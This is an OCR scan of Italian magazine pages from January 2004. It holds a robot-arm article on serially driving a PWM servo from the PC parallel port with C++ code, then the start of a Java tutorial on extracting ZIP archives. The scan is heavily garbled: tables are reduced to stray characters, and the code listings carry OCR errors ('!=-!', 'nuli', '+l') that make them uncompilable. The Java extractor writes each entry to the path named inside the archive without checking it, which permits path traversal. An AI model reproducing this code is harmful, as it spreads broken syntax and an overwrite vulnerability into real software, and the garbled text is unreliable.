gradi di libertà ed una risoluzione su ciascun asse di 
8 bit, ciascuna posizione possibile (per meglio dire, 
matematicamente possibile) sarà individuata da una 
stringa di 48 bit ( 8*6=48 ) . Dal momento che la porta 
parallela del PC permette una trasmissione di un 
massimo di 8 bit per volta (possiamo arrivare al 
massimo a 12 con qualche stratagemma), dobbiamo 
trovare un metodo per comunicare al circuito elet- 
tronico del braccio meccanico quale delle 2 A 48 posi- 
zioni vogliamo che vada ad assumere. La risposta al 
problema appare ovvia: dobbiamo 'spedire' serial- 
mente la stringa di bit ad un circuito intelligente che 
sia in grado di riceverla, memorizzarla, interpretarla, 
fare un calcolo di posizione, muovere gli attuatori e 
controllare che si siano posizionati come desiderato. 
Questa serie di 48 bit, memorizzata all'interno del 
PC dovrà essere convertita in una sequenza di 
impulsi seriali, per poi consentirne la trasmissione. 
Si badi bene che ho scelto il termine 'trasmissione', 
dal momento che è possibile l'invio del comando, 
oltre che via cavo anche con altre metodologie 
(radio, IR e magari tramite rete od internet). 
Pensiamo per un attimo che cosa sarebbe possibile 
fare se fossimo in grado di comandare il robot di 
casa mentre siamo in vacanza, oppure dall'altra 
parte del pianeta. L'informazione, trasmessa serial- 



li 



PoPl °2 °3 °4 °5 K °7 



INPUTS 


PARALLEL OUTPUTS 


SERIAL OUTPUTS 


CP 


EO 


STR 


D 


°o 


°n 


5 


o\ 


J 


L 


X 


X 


Z 


z 


O'e 


ne 


■\. 


L 


X 


X 


Z 


z 


ne 


o 7 


s 


H 


L 


X 


ne 


ne 


O'e 




s 


H 


H 


L 


L 


Orl-1 


O'e 




J- 


H 


H 


H 


H 


On-1 


O'e 




■\. 


H 


H 


H 


ne 


ne 


ne 


0/ 



[iiiiìi]HrT5mNHr^ 



°5 °6 



°7 °s' °s 
HEF4094B 
CP O O, 2 3 



LljLiJWllJLiJbdWM 



Fig. 3: li circuito integrato 4094 può essere impiegato 
come convertitore seriaie-paralleio (Cortesia Phiiips 
Semiconductors). 



PINPC 

Explorer 

light 


Segnale 


Direzione 


Tipo porta 


PIN porta 


Descrizione 


5 


D3 


OUT 


PARALLELA DATA D3 


5 


Serial Clock 


6 


D4 


OUT 


PARALLELA DATA D4 


6 


Serial Data 


7 


D5 


OUT 


PARALLELA DATA D5 


7 


Serial to Parallel Strobe 


11 


BUSY 


IN 


PARALLELA STATUS /S7 


11 


Serial feedback QS 


18 


GND 


PARALLELGND 


PARALLELA 


18-25 


Signal Ground 


Tab. h Linee di trasmissione seriale. 



mente viene riconvertita in formato parallelo e 
quindi in un segnale analogico che consente di 
comandare il driver dell' attuatore: abbiamo quindi 
bisogno anche di una conversione Digitale-Analo- 
gico. La stessa posizione finale dell' attuatore è defi- 
nibile con un valore angolare analogico. A chi sup- 
ponga l'utilizzo di microprocessori o computers in- 
dustriali PLC, possiamo dire che tutto questo è pos- 
sibile con una manciata di componenti, che a sten- 
to raggiungono il costo di una decina di euro. 



L'IMPLEMENTAZIONE 
DEL CONTROLLO 
PROPORZIONALE 

Analizzato in modo generico il metodo secondo il 
quale vogliamo realizzare il nostro sistema di con- 
trollo, vediamo come implementarlo dal punto di 
vista pratico. Innanzi tutto vogliamo sviluppare un 
modulo che sia in grado di gestire un servocomando 
con una risoluzione di 8 bit: l'escursione del campo 
d'azione del servocomando dovrà essere regolabile, 
al fine di sfruttare al massimo tutto l'inviluppo del- 




■ : 

'E 

■ E 

■L 



] ■ 

] ; . •; 

3' 



Fig. 4: li convertitore Digitale-Analogico DAC 808 ha una 
risoluzione di otto bit e con pochi componenti permette di 
realizzare sistemi stabili ed efficaci (Cortesia Philips 
Semiconductors). 



l'attuatore. Nella tabella riportata di seguito, si rias- 
sumono tutte le caratteristiche salienti del sistema, 
che verranno poi tradotte sotto forma di schema 
elettrico più avanti in queste pagine: per brevità si 
riportano solamente le linee che sono interessate 
alla realizzazione del controllo in questione. 
L'implementazione dei sensori e del movimento 
della mano sono reperibili negli articoli pubblicati 
nei numeri precedenti. Consultando la Tab. 1 si nota 
innanzitutto che la trasmissione seriale dei dati 
avviene per mezzo della porta parallela: questo può 
sembrare un controsenso, in realtà conferisce al 
sistema una notevole flessibilità e potenza di svilup- 
po ed espansione. Il lettore esperto avrà notato che 
la struttura delle linee suggerisce una trasmissione 
'sincrona' di informazioni, allo scopo di avere la 
massima affidabilità nelle trasmissione delle infor- 
mazioni. La linea D3 fornisce il segnale di CLOCK, 
mentre la D4 trasmette l'informazione seriale vera e 
propria; addirittura la linea in ingresso S 7 fornisce la 
possibilità di verificare se quanto è stato trasmesso, 
sia stato ricevuto in modo corretto. Il motivo di tante 



► 64/Gennaio 2004 



http://www.ioprogrammo.it 



Braccio meccanico - quinta parte ■ T ELETTRONICA 






I 




gmmi^JE^g|^j|t E t a iH.n«»e09****4at 



Fig. 5: Iniziando la realizzazione del circuito, predisponi- 
amo i componenti sulla breadboard (qui viene utilizzato il 
sistema PC Explorer light). 

precauzioni è facilmente intuibile se pensiamo a 
che cosa succederebbe se il nostro potentissimo 
robot, costruito interamente in metallo vagasse per 
casa roteando le proprie braccia in modo incontrol- 
lato, frantumando la collezione di bambole di por- 
cellana della consorte: è altrettanto intuibile quali 
sarebbero le cose che verrebbero frantumate suc- 
cessivamente in conseguenza di questo increscioso 
accadimento. Ritornando all'analisi delle linee di 
controllo, notiamo che la linea D5 viene utilizzata 
per autorizzare il passaggio delle informazioni bina- 
rie alla memoria interna del nostro circuito driver e 
quindi ai componenti di controllo del servocoman- 
do. Quanto espresso a livello concettuale apparirà 
più chiaro in seguito all'analisi del circuito elettrico 
e del software di controllo. 



re' la posizione intermedia del servocomando, 
quando viene inviato il valore binario '10000000'. 
Nella parte superiore del circuito si potrà riconosce- 
re il driver per servocomandi PWM che abbiamo 
analizzato nel numero precedente. Una espansione 
interessante di questo circuito è che prelevando le 
otto linee parallele in uscita dal circuito integrato 
IC2, sarà possibile comandare ben due motori 
passo-passo, aggiungendo un circuito di potenza 
opportuno. 




Driver a controllo seriale 8 t>it per secvocontandi PWM 



. 


*n ™roi»ri 






dì irin* 




m 


itùe :m: i/la 




p; 


■?ù<) r-m* i,* « 




vi 


1DDE «IDI 1/1 1 




pi 


1 :■' «UH ìft * 




w. 


110 OH L/l ■ 




*i. 


ìrnivii 




:,: 


tftp Dm Ifi m 




HH 


If « GKM Tun»r 


Un. 


VJ. 


H E IU t.lmw 


Lio. 


LI. 


..-.•...■ F r 




r.i 


i« « ir> 




G3i 


mp it v i/: 


-J 


uri 


B tff 




i.V, 


■ sur * .■.< 




: :< 


: TI, ru 






PC Explorer light ' 
(Porti Fitillftli) 



-A. 



" 



bl^f 



(CJ 2QG3 Luca Spuntoni ( Depositate J 



Fi jf. 6: /n /7^ura viene riportato lo schema elettrico del circuito di controllo, che per 
comodità e su richiesta dei lettori è stato inserito all'interno del file: 
'SpuntoSerialPWM_Robot_driver.zip', con il nome: Vriver_PWM_schema_elettrico.bmp' 



LO SCHEMA 
ELETTRICO 

Osservando lo schema elettrico della figura seguen- 
te, possiamo notare le linee di controllo per la tra- 
smissione sincrona dei dati, che abbiamo analizzato 
nel paragrafo precedente, collegate al circuito inte- 
grato IC2 (HEF 4094), che opera la conversione 
seriale-parallelo. Sul lato sinistro dello schema si 
possono notare le connessioni alle linee di alimen- 
tazione dell'apparecchiatura' PC Explorer light', 
sulla quale è possibile avere maggiori informazioni 
visitando il sito: http://www.pcexplorer.it oppure 
http://web.tiscali.it/spuntosoft/, od infine scrivendo 
all'indirizzo: spuntosoft@tiscali.it. La tensione così 
ottenuta viene amplificata dall'amplificatore opera- 
zionale IC4, che si occupa anche di operare la rego- 
lazione dell'ampiezza del segnale e della gestione 
del valore di riferimento centrale. Per chiarire que- 
sto aspetto importante del circuito, possiamo dire 
che la resistenza variabile R8, (posta sulla linea di 
reazione dell'amplificatore) regola l'ampiezza del- 
l'escursione del valore di tensione, che sarà propor- 
zionale all'ampiezza dell'escursione del servoco- 
mando. La resistenza variabile R9 regola invece il 
valore di 'offset'. In altre parole si occupa di 'centra- 



LA REALIZZAZIONE 
DEL CIRCUITO 

La lista dei componenti necessari viene riportata a 
lato di queste pagine e nel circuito elettrico, per co- 
modità e su richiesta dei lettori all'interno del file: 
SpuntoSerialPWM_Robot_driver.zip, incluso nel CD 
allegato alla rivista, con il nome: Driver_PWM_sche- 
ma_elettrico.bmp. Provvediamo ad inserire prima i 
componenti più piccoli ed a profilo più basso, ovve- 
ro i circuiti integrato, i diodi e le resistenze, posizio- 
niamo quindi i condensatori. Eseguiamo i collega- 




IL BRACCIO 

MECCANICO 

E PC EXPLORER 

LIGHT 

Per maggiori 
informazioni sul 
braccio meccanico, 
sulle interfacce relative 
e sull'apparecchiatura 
'PC Explorer light' è 
possibile visitare il 
sito: 

http://www.pcexplorer.it 
oppure 

http://web.tiscali.it/ 
spuntosoft/ 
od infine scrivere 
all'indirizzo: 
luca.spuntoni@ 
ioprogrammo.it 



Fig. 7: In figura si nota il circuito completamente realiz- 
zato e collegato alla mano meccanica. 



http://www.ioprogrammo.it 



Gennaio 2004/65 ► 



ELETTRONICA T I Braccio meccanico - quinta parte 




'r^m 



IL BRACCIO 
MECCANICO 



Nel CD allegato alla 

rivista sono disponibili 

due filmati che 

mostrano la mano 

meccanica in azione. 

RobotPWMseriale1.AVI 

e 

RobotPWMseriale1.AVI. 



IL SOFTWARE 

Il codice sorgente della 

applicazione e tutti i 

componenti necessari 

sono reperibili sul CD 

allegato alla rivista 

all'interno del file: 

•SpuntoSerialPWM_Rob 

ot_driver.zip'. 

Il software di controllo 

è stato collaudato con 

Win 3.x, Win 9x e Win 

Me, se si utilizza Win 

2000, oppure NT, 

occorre scrivere una 

parte di codice che 

gestisca i privilegi del 

sistema, per non 

incorrere ad un errore 

del tipo 'Privileged 

erro?, oppure utilizzare 

un driver, quale 

•PortTalk' 

(PortTalk22.zip), 

scaricabile del sito: 

http://www.beyondlogic.org 



Fig. 8: L'immagine mostra il circuito relativo al converti- 
tore seriale-parallelo completamente montato. 

menti per mezzo di spezzoni di filo rigido, cercando 
di eseguire un cablaggio ordinato, per facilitare l'e- 
ventuale ricerca degli errori. Le immagini riportate 
in queste pagine sono utili, insieme all'analisi dello 
schema elettrico ai fini della costruzione del circui- 
to. Il cablaggio può essere eseguito facilmente utiliz- 
zando l'apparecchiatura mostrata in figura, chiama- 
ta 'PC Explorer light', la più semplice della famiglia 
'PC Explorer'. In alternativa è possibile utilizzare le 
tecniche costruttive convenzionali, dotandosi di sta- 
gno, saldatore ed una buona dose di pazienza: il let- 
tore ha in ogni caso tutte le informazioni necessarie 
alla realizzazione della parte hardware e più avanti 
troverà il software di gestione, completo di compo- 
nenti pronti all'uso, del programma compilato e 
funzionante dotato di codice sorgente. 




Fig. 9: Il circuito convertitore Digitale-Analogico. 

IL SOFTWARE 

DI CONTROLLO C++ 

Il programma di controllo provvede alla conversione 
parallelo seriale della informazione binaria da invia- 
re al circuito. Il codice sorgente, scritto in C++ è di- 
sponibile nel CD con il nome: SpuntoSerialPWM_ 
Robot_driver.zip: in questa sede analizziamo soltan- 
to le parti più significative. 

// // 

// Spuntosoft Parallel to Serial Converter and PWM 



servo driver 


// 


Version 1.0 November 2003 




// 


Luca Spuntoni ali rights reserved 




II- 




// 



#include <vcl.h> 

#pragma hdrstop 

#include "SpuntoPWMServoUnit.h" 

// 

#pragma package(smart_init) 

#pragma link "SpuntoLedComponent" 

#pragma link "TSpuntoHardwarePortIO_unit" 

#pragma resource "*.dfm" 

unsigned short Datain, Dataout, Bitout, Contabit, 

LPTbaseAddress, LPTIDataAddress, 
LPTIStatusAddress, LPTIControlAddress; 




»punto«ol«efif*B4H.il 



Fig. 10: L'immagine mostra l'analisi all'oscilloscopio digi- 
tale, dei segnali prodotti dal circuito proposto in queste 
pagine: viene analizzato l'invio del byte '10000000'. 

All'esecuzione del programma viene lanciata la pro- 
cedura FormCreate, che provvede ad inizializzare le 
etichette della form, lo stato dei LED e gli indirizzi di 
default per l'accesso agli indirizzi fisici della porta 
parallela: si assume che il sistema utilizzi gli indiriz- 
zi standard di LPT1 e LPT2, che possono essere veri- 
ficati attraverso la consultazione di Pannello di con- 
trollo/Sistema/Gestione periferiche/Porte LPT 

Il 

void fastcall TSpuntoPWMServoForm:: 

LPTlRadioButtonClick(TObject *Sender) { 

// Default (LPT1) Port setup 

LPTbaseAddress=0x0378; 

LPTlDataAddress= LPTbaseAddress; 

LPTlStatusAddress=LPTbaseAddress+l; 

LPTlControlAddress=LPTbaseAddress+2; } 

// 

void fastcall TSpuntoPWMServoForm:: 

LPT2RadioButtonClick(TObject *Sender) { 

// Default (LPT1) Port setup 

LPTbaseAddress=0x0278; 

LPTlDataAddress= LPTbaseAddress; 

LPTlStatusAddress=LPTbaseAddress+l; 

LPTlControlAddress=LPTbaseAddress+2; } 

Se l'utente preme il radiobutton LPT1, oppure LPT2, 



p> 66/Gennaio 2004 



http://www.ioprogrammo.it 



Braccio meccanico - quinta parte ■ T ELETTRONICA 



per selezionare una delle porte attraverso le quali si 
vuole comandare il circuito, vengono eseguite le 
procedure relative con la definizione dei corrispon- 
denti indirizzi fisici. La posizione del servocomando 
viene determinata leggendo la posizione della track- 
bar relativa, posta al centro della form: il suo valore 
può variare tra e 255 ( 8 bit ). Il valore in questione, 
convertito in binario, viene 'spedito' serialmente, 
attraverso una sequenza di impulsi che possono 
essere gestiti per periodo e larghezza di impulso tra- 
mite le procedure PeriodTrackBarChange e Pulse- 
WidthTrackbarChange che vengono omesse per 
brevità, ma che sono comunque incluse nel CD. Il 
cuore del programma risiede negli event handler 
MainTimerTimer e DelayTimerTimer, che vengono 
eseguite periodicamente dopo un intervallo di tem- 
po che viene fissato rispettivamente attraverso le 
procedure PeriodTrackBarChange e PulseWidth- 
TrackbarChange. 



II- 



void fastcall TSpuntoPWMServoForm:: 

MainTimerTimer(TObject *Sender) 

{ //Mairi Timer 

if (PowerONSpeedButton->Down) //Power is ON { 

DelayTimer->Enabled=true; 

Bitout=(Dataout & 0x01); // Reads the most right bit 

// Updates the labels 

Labell5->Caption = IntToStr(Contabit); 

Labell6->Caption = IntToStr(Bitout); 

// Shifts the Output Byte Right 1 bit 

Contabit=Contabit + 1; 

Dataout=(Dataout >> 1); 

if (Bitout==0) // Serial Data bit is { 

Datain=SpuntoHardwarePort-> 

ReadPort(LPTlDataAddress); 

Datain=(Datain & OxCF); // Clock is 1 Serial Bit is 

Strobe is 

SpuntoHardwarePort-> 

WritePort(LPTlDataAddress,Datain); 

SerialDataSpuntoLed->LedOff(); } 

else // Serial Data bit is 1 { 

Datain=SpuntoHardwarePort-> 

ReadPort(LPTlDataAddress); 

Datain=(Datain | 0x10); // Clock is 1 Serial Bit is 1 
SpuntoHardwarePort-> 

WritePort(LPTlDataAddress,Datain); 

SerialDataSpuntoLed->LedOn(); } 

//*** CLOCK *** 

SpuntoHardwarePort->LedOn(); 

Datain=SpuntoHardwarePort-> 

ReadPort(LPTlDataAddress); 

Datain=(Datain | 0x08); // Clock bit to 1 

SpuntoHardwarePort-> 

WritePort(LPTlDataAddress,Datain); 

if (Contabit==8) // If ali 8 bits have been sent { 
//*** STROBE *** 



StrobeSpuntoLed->LedOn(); 

Datain=SpuntoHardwarePort-> 
ReadPort(LPTlDataAddress); 

Datain=(Datain | 0x20); // Strobes the Byte to 
the 4094 Latch (Strobe is 1) 

SpuntoHardwarePort-> 
WritePort(LPTlDataAddress,Datain); 

// Bit counter reset 

Contabit=0; // Resets the bit position 

Dataout=PWMTrackbar->Position;// Reads the 

Trackbar position for the next conversion } } 

else { 

SpuntoHardwarePort->LedOff(); // Power is OFF 

DelayTimer->Enabled=false; } 



Serial Pori Logic Tesler 

Ci* • 




Fig. 11: La verifica dell'invio del byte '10110111' è visi- 
bile in questa figura. 

La procedura MainTimerTimer provvede a generare 
i segnali di CLOCK, necessario al sincronismo della 
trasmissione seriale, DATA contenente il dato seriale 
da trasmettere e STROBE, che viene inviato in corri- 
spondenza dell'ottavo bit per consentire la memo- 
rizzazione dell'intero Byte trasmesso serialmente 
all'interno della memoria contenuta all'interno del 
convertitore seriale-parallelo IC2 (HEF 4094). 

// 

void fastcall TSpuntoPWMServoForm:: 

DelayTimerTimer(TObject *Sender) 

{ //Delay timer 

Datain=SpuntoHardwarePort-> 

ReadPort(LPTlDataAddress); 

Datain=(Datain & 0xC7); // Clock is Serial Bit 

is Strobe is 

SpuntoHardwarePort-> 

WritePort(LPTlDataAddress,Datain); 

SpuntoHardwarePort->LedOff(); 

SerialDataSpuntoLed->LedOff(); 

StrobeSpuntoLed- > LedOffQ ; 

DelayTimer->Enabled=false; } 

// 

Al termine di ciascun impulso vengono posti a livel- 
lo logico basso le tre linee di CLOCK, DATI e STROBE: 
il cambio di stato delle linee della porta parallela av- 
viene utilizzando il componente SpuntoHardware- 




PRECAUZIONI 

Prima di collegare il 
circuito al nostro PC 
occorre verificare la 
nostra realizzazione 
con attenzione per 
assicurarci che tutto 
sia stato collegato 
come previsto. 
L'utilizzo del 
programma 
presentato in questa 
sede mentre è 
col legata una 
qualunque altra 
periferica al PC sulla 
porta LPT1, può 
bloccarne il 
funzionamento. 



http://www.ioprogrammo.it 



Gennaio 2004/67 ► 



ELETTRONICA T I Braccio meccanico - quinta parte 





SUL WEB 



Il sistema proposto in 

queste pagine è stato 

realizzato e collaudato 

con la apparecchiatura 

per il collaudo e la 

sperimentazione di 

circuiti elettronici con 

Personal Computer 'PC 

EXPLORER light': 

ulteriori informazioni 

su come si possa 

reperire questa 

apparecchiatura è 

possibile visitare il 

WEB all'indirizzo: 

http://www.pcexplorer.it 

oppure 

http://web.tiscali.it/ 

spuntosoft/ 

od infine inviare una 

e-mail a: uca.spuntoni@ 

ioprogrammo.it. 



Port, incluso nel file SpuntoSerialPWM_Robot_dri- 
ver.zip. Il software di controllo è il responsabile della 
gestione di tutta la applicazione: gli schemi elettrici 
infatti sono ridotti all'essenziale e deve essere posta 
la massima cura da parte del programmatore affin- 
ché condizioni proibite nello stato logico delle linee 
hardware di controllo non vengano a verificarsi. Il 
programma ha la caratteristica di accedere all'hard- 
ware del PC attraverso i propri indirizzi fisici di I/O. 
Questa tecnica, dal momento che scavalca il sistema 
operativo, potrebbe non 'piacere' a Windows NT, 
2000, oppure XP, pertanto si consiglia di utilizzare un 
calcolatore dotato di Win 3.X, Win 9X, oppure Mil- 
lennium. In alternativa, occorre scrivere una parte di 
codice che gestisca i privilegi del sistema, per non 
incorrere in un errore del tipo 'Privileged error', op- 
pure utilizzare un driver, quale 'PortTalk' (PortTalk- 
22.zip), scaricabile del sito: http://www.beyondlogic- 
org. Una ulteriore alternativa che risolve ogni pro- 
blema è la scrittura di un appropriato 'Device Dri- 
ver', che però esula dallo scopo di queste pagine, 
data la complessità dell'argomento. Il software di 
controllo è completo ed è in grado di effettuare la 
conversione parallelo -seriale, e di trasmettere le 
informazioni relative alla posizione del servoco- 
mando attraverso i tre bit D3-D5 della porta paralle- 
la. La riconversione seriale-parallelo, la memorizza- 
zione del dato e la conversione digitale- analogico 
che porta alla gestione del servocomando viene 
gestita dell'elettronica già descritta in precedenza. 



COLLAUDO 
DEL SISTEMA 

Terminato il cablaggio dell'elettronica di controllo, 
siamo pronti a muovere qualunque tipo di servoco- 
mando a modulazione di lunghezza di impulso, con 
una risoluzione di otto bit. Prima di collegare il cir- 
cuito al nostro PC, occorre verificare la realizzazione 
con attenzione, per assicurarci che tutto sia stato 



iWfmriiVilfffnH-LIIHIHilll'LII-H-IIHI^ -J 

"Serial to Parallel Converter Wavefon 




Fig. 13: Il programma è in grado di controllare in modo 
seriale qualunque servocomando PWM. 



connesso come previsto: controlliamo che i connet- 
tori siano ben serrati e che nessuna parte metallica 
della mano possa urtare il circuito elettrico. Col- 
leghiamo al nostro circuito il cavo relativo alla porta 
parallela del PC, se possediamo PC Explorer oppure 
PC Explorer light come mostrato in figura, oppure 
provvedendo a costruire un cavo seguendo lo sche- 
ma elettrico e la tabella riportati all'inizio dell'artico- 
lo. Alimentiamo il circuito e lanciamo il programma 
di gestione: spostando il cursore relativo alla track- 
bar della posizione del servo, dopo avere seleziona- 
to la porta parallela in uso e premuto il pulsante 
POWER ON I OFF, dovremmo vedere il servoco- 
mando ruotare di una quantità angolare proporzio- 
nale allo spostamento del cursore. Per effettuare la 
taratura della posizione centrale del servo occorre 
porre il cursore al centro e regolare il trimmer R9, fi- 
no ad ottenere la centratura del servo. La regolazio- 
ne dell'ampiezza del movimento intorno alla posi- 
zione centrale, viene resa possibile per mezzo del- 
l'aggiustamento del trimmer R8. Se il circuito non 
funziona, provvediamo a spegnere tutto prima di 
ricontrollare i collegamenti e riprovare di nuovo. 
Siamo in grado a questo punto di muovere il nostro 
braccio meccanico con precisione: sostituendo alla 
trackbar della posizione un algoritmo di controllo 
tridimensionale, siamo pronti ad entrare nel mondo 
dell'automazione e della robotica. Per maggiori 
informazioni sul braccio meccanico, sulle interfacce 
relative e sull'apparecchiatura. 



CONCLUSIONI 

In queste pagine abbiamo visto come controllare un 
servocomando PWM con elevata precisione, attra- 
verso un driver dedicato studiato appositamente 
per applicazioni di robotica ma che può essere uti- 
lizzato anche in altri settori (videocontrollo, applica- 
zioni domestiche ed industriali, modellismo). Il pro- 
getto dello schema elettrico, tutti i collegamenti ne- 
cessari, il software compilato ed i relativi codici sor- 
genti sono stati messi a completa disposizione del 
lettore: due filmati dimostrativi sono disponibili sul 
CD ROM allegato alla rivista. Un doveroso ringrazia- 
mento è dovuto alla Philips Semiconductors che ha 
permesso la pubblicazione dei dati relativi ai circui- 
ti integrati HEF 4094 e DAC808. Il lettore vorrà com- 
prendere che nonostante quanto esposto in queste 
pagine sia stato debitamente verificato e collaudato, 
tuttavia viene riportato a scopo illustrativo e di stu- 
dio, pertanto l'editore e l'autore non sono da consi- 
derare responsabili per eventuali conseguenze deri- 
vanti dell'utilizzo di quanto esposto in questa sede, 
soprattutto per la tipologia e la complessità dell'ar- 
gomento. 

Luca Spuntoni 
luca.spuntoni@ioprogrammo. it. 



^ 68/Gennaio 2004 



http://www.ioprogrammo.it 



T SISTEMA 



Zip: creazione ed estrazione di file 



Un WinZip 



con Java 



Gli archivi ZIP hanno una duplice utilità: permettono di racchiudere 
più file all'interno di uno solo e fanno risparmiare spazio. 
Impareremo come manipolare gli archivi ZIP da un'applicazione Java. 



Manipolare archivi ZIP con Java è facile e 
indolore. Nella libreria della piattaforma 
J2SE (Java 2 Standard Edition) c'è tutto 
quello che serve per farlo con poche righe di codice. 
A partire da questo articolo ci cimenteremo nello 
sviluppo di una sorta di WinZip multipiattaforma, 
con lo scopo di acquisire la padronanza completa 
dei principali strumenti riposti nel package java, 
utilzip. 



JAVA.UTIL.ZIP 

In java.util.zip troviamo tutto il necessario per il 
trattamento degli archivi compressi in formato ZIE 
Questo pacchetto, già da qualche tempo, fa parte 
della libreria di classi della piattaforma J2SE. Quindi 
non dovremo installare alcuna estensione: tutto 
quello di cui abbiamo bisogno è automaticamente a 
nostra disposizione. Il pacchetto contiene diverse 
classi dedicate al trattamento degli archivi compres- 
si. Solo alcune di esse, al momento, sono di nostro 
interesse: 

ZIPFile. Rappresenta un archivio ZIE II principale 
tra i suoi costruttori accetta come argomento un 
oggetto java.io.File. Se tale oggetto conduce ad un 
archivio ZIP valido, avremo immediatamente a 
nostra disposizione un appiglio per l'analisi del file 
compresso. Il suo metodo entriesQ restituisce una 
java.util.Enumeration degli oggetti ZIPEntry (vedi 
punto successivo) compresi nell'archivio. Il suo me- 
todo getInputStream(ZIPEntry entry), invece, forni- 
sce uno java.io.InputStream che permette di leggere 
e decifrare ciascuno dei singoli file compressi e rac- 
chiusi all'interno dell'archivio. 
ZIPEntry. Questa classe è usata per rappresentare 
ciascuno dei singoli file compressi in un archivio ZIE 
Ogni entry porta con sé alcune informazioni fonda- 



mentali: il nome del file, il suo percorso, le sue di- 
mensioni, il timestamp associato e così via. 
ZIPInputStream. Questa classe estende java.io.In- 
putStream, consentendo la lettura e la decodifica de- 
gli archivi ZIE 

ZIPOutputStream. Questa classe estende java.io.- 
OutputStream, ed è indispensabile per la creazione 
di un archivio ZIE Gettando dati al suo interno, e 
configurandoli in maniera appropriata, potremo 
creare nuovi archivi ZIR oppure aggiornarne di esi- 
stenti. 

Le quattro classi elencate sono alla base dei lavori 
che andremo a sviluppare immediatamente. Il con- 
siglio, naturalmente, è quello di tenere sotto mano la 
documentazione ufficiale di Java, per conoscere i 
dettagli di ogni strumento citato. 



ESTRARRE 

UN ARCHIVIO ZIP 

Andiamo a prendere confidenza con gli strumenti 
appena scoperti, realizzando una semplice applica- 
zione iniziale. Per prima cosa, impariamo come 
estrarre il contenuto di un archivio ZIP già esistente. 
Lo faremo realizzando un'applicazione da riga di 
comando, che accetterà come argomento il percor- 
so (relativo o assoluto) del pacchetto ZIP da estrarre. 
Il software estrarrà l'archivio specificato nella posi- 
zione corrente del file system. Il tutto può essere 
fatto con una sola classe: 

import java.io.*; 

import java.util.zip.*; 

import java.util.Enumeration; 

public class ZIPExtract { 

public static void main(String[] args) { 




□ CD LI WEB 



zip 



http://www.ioprogrammo.it 



Gennaio 2004/69 ► 



SISTEMA T ■ Gestione di archivi compressi 




PER SAPERNE 
DI PIÙ 



GLI ARCHIVI ZIP 

Java fornisce delle 

librerie che consentono 

la totale astrazione dal 

tipo di compressione 

impiegata dal formato 

ZIP. Infatti, utilizzando 

le API del package 

java.util.zip, non vi 

ritroverete mai ad 

avere a che fare con i 

complicati algoritmi 

che sono alla base 

della compressione dei 

file. Le classi offerte 

dalla libreria di Java 

fanno tutto da sole. 

Tuttavia, se vi interessa 

scoprire come funzioni 

effettivamente la 

compressione ZIP, 

magari per scrivere le 

vostre API personali, 

cominciate dando uno 

sguardo all'indirizzo 

Web: 

http://www.pkware.com/ 

products/enterprise/ 

white_papers/ 

appnote.html 



// Preparo il buffer per il trasferimento dei dati. 

byte[] buffer = new byte[1024]; 

int I; 

// Estraggo. 

while ((I = in.read(buffer, 0, buffer. length)) !=-!){ 

out.write(buffer, 0, I); } 

} catch (IOException e) { // In caso di errore. .. 

System.out.phntln("Non riesco ad estrarre " + entrylMame); 

System .out.println(e); 

} finally { 

// Chiudo gli stream aperti. 

if (in != nuli) try { in.closeQ; } catch (Exception e) {} 
if (out != nuli) try { out.closeQ; } catch (Exception e) {} 
}}} 

Esaminiamo i punti salienti del codice. Innanzitutto, 
l'applicazione tenta la decodifica del file specificato 
dall'utente. Il tutto si concentra nella creazione di 
un'istanza dell'oggetto ZipFile: 

ZipFile zipFile = new ZipFile(f); 

Una volta riconosciuto come valido l'archivio ZIP 
desiderato dall'utente, il programma effettua una 
scansione dei suoi contenuti, al fine di conoscere le 
singole entry che lo compongono: 

Enumeration entries = zipFile. entries(); 

Quindi l'enumerazione di oggetti così ottenuta è 
passata in rassegna. Ciascuna entry viene decom- 
pressa appellandosi al metodo extractQ: 

while (entries.hasMoreElementsQ) { 

extract(zipFile, (ZipEntry)entries.nextElement()); } 

Al termine del lavoro, l'archivio ZIP viene chiuso: 

zipFile. close(); 

Naturalmente, gran parte del lavoro è svolto dal me- 
todo statico extractQ. Passiamone in rassegna il co- 
dice: 

String entryName = entry.getl\lame(); 

Questa istruzione recupera il nome del file compres- 
so rappresentato dalla entry Tale nome è completo 
di percorso. Nel passo successivo, il programma sta- 
bilisce dove decomprimere il file all'interno del file 
system in uso: 

File extractedFile = new File(entryName); 



procedere all'estrazione. Il programma genera sem- 
pre le directory necessarie all'estrazione dei file, 
riproducendo su disco la struttura dell'archivio ZIP: 

if (entry.isDirectoryQ) { extractedFile.mkdirsQ; 

return;} 

else { extractedFile. getParentFile().mkdirs(); } 

Il codice prosegue nella sua esecuzione solo nel caso 
in cui l'entry in esame è un file. La parte conclusiva 
del metodo cura l'estrazione e la copia dei dati, ser- 
vendosi dei comuni stream della libreria di Java: 

InputStream in = nuli; 

FileOutputStream out = nuli; 

try { 

in = zipFile.getlnputStream(entry); 

out = new FileOutputStream(extractedFile); 

byte[] buffer = new byte[1024]; 

int I; 

while ((I = in.read(buffer, 0, buffer.length)) !=-!){ 

out.write(buffer, 0, I); } 

} catch (IOException e) { 

System. out. println("Non riesco ad estrarre " + 

entryName); 

System.out.println(e); } 

finally { 

if (in != nuli) try { in.closeQ; } catch (Exception e) {} 
if (out != nuli) try { out.close(); } catch (Exception e) {} } 

MInputStream associato alla ZipEntry viene recupe- 
rato con il metodo getlnputStreamQ di ZipFile: 

in = zipFile. getlnputStream(entry); 

Dopo questa operazione, l'estrazione del file può 
essere effettuata semplicemente come un trasferi- 
mento di byte da un canale ad un altro. Il program- 
ma, naturalmente, gestisce le eccezioni che i singoli 
metodi impiegati possono sollevare. Nel caso delle 
classi contenute nel pacchetto java.util.zip, l'ecce- 
zione che va più comunemente gestita è ZipExcep- 
tion. Il programma può facilmente essere testato. 
Copiate nella vostra directory di lavoro un archivio 
ZIP qualsiasi. Quindi, dopo la compilazione del sor- 
gente, lanciate il programma al seguente modo: 

java ZIPExtract nome_file.zip 

Se l'operazione ha buon esito, dovreste ritrovare il 
contenuto dell'archivio nella stessa directory che 
contiene il programma. 



Una ZipEntry può rappresentare due tipi distinti di 
elementi: file e directory. Nel caso l'entry esaminata 
sia una directory, non bisogna far altro che riprodur- 
la nel file system in uso. In caso contrario, bisogna 



CREARE 

UN ARCHIVIO ZIP 

Creare un programma capace di comprimere uno o 



^ 70/Gennaio 2004 



http://www.ioprogrammo.it 



Gestione di archivi compressi I ▼ SISTEMA 



più file all'interno di un archivio ZIP è altrettanto 
semplice, basta conoscere pochissime nozioni di 
base. Non è necessario studiare il tipo di algoritmo 
usato per la compressione ZIP: la classe ZipOutput- 
Stream fa tutto automaticamente. Basta "gettare" 
